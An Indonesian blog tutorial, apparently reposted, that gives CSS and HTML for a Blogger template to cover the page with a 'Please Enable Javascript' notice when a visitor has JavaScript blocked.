Berikut ialah trik pelengkap kalau pengguna menonaktifkan / block Javascript alamat situs tertentu di pengaturan browser, biasanya ini terjadi dikala pengguna ingin menonaktifkan fungsi tertentu pada situs yang ia block. Cara kerja trik ini yaitu menyembunyikan isi konten blog dengan tampilan notifikasi ibarat pada tutorial di atas. Di sini aku memanfaatkan kondisi noscript dikala halaman web dimuat, di bawah ini pola gambar situs yang di block

Berikut Cara Menyembunyikan Konten Blog Jika Javascript Dinonaktifkan, tambahkan isyarat berikut sebelum </head>

<noscript> <style type='text/css'> /* No Script */ body,html{overflow:hidden} .noscript{background:#e74c3c;color:#fff;padding:8% 0 0 0;position:fixed;bottom:0;left:0;top:0;right:0;z-index:1000;height:auto;-webkit-transform:translateZ(0);transform:translateZ(0);overflow:hidden} .noscript p{margin:0;text-align:center;padding:0 20px 10px 20px;margin:auto;font-size:3rem;line-height:1.5;font-family:monospace;max-width:1010px;text-transform:uppercase;font-weight:700} .noscript p span{color:#ffe88b;font-size:10rem;line-height:normal;font-weight:normal} </style> </noscript>

Kemudian tambahkan isyarat berikut sempurna di bawah <body>

<noscript> <div class='noscript'>   <p><span>&#9888;</span></p>   <p>Please Enable Javascript to view our site content</p>   <p>Thank you</p> </div> </noscript>

Terakhir, simpan template.

Demikian tutorial singkat wacana Cara Membuat Notifikasi Adblocker Adsense Ala Kompi Ajaib. Semoga bermanfaat bagi teman semua, terima kasih.
Sumber http://arlinadesign.blogspot.com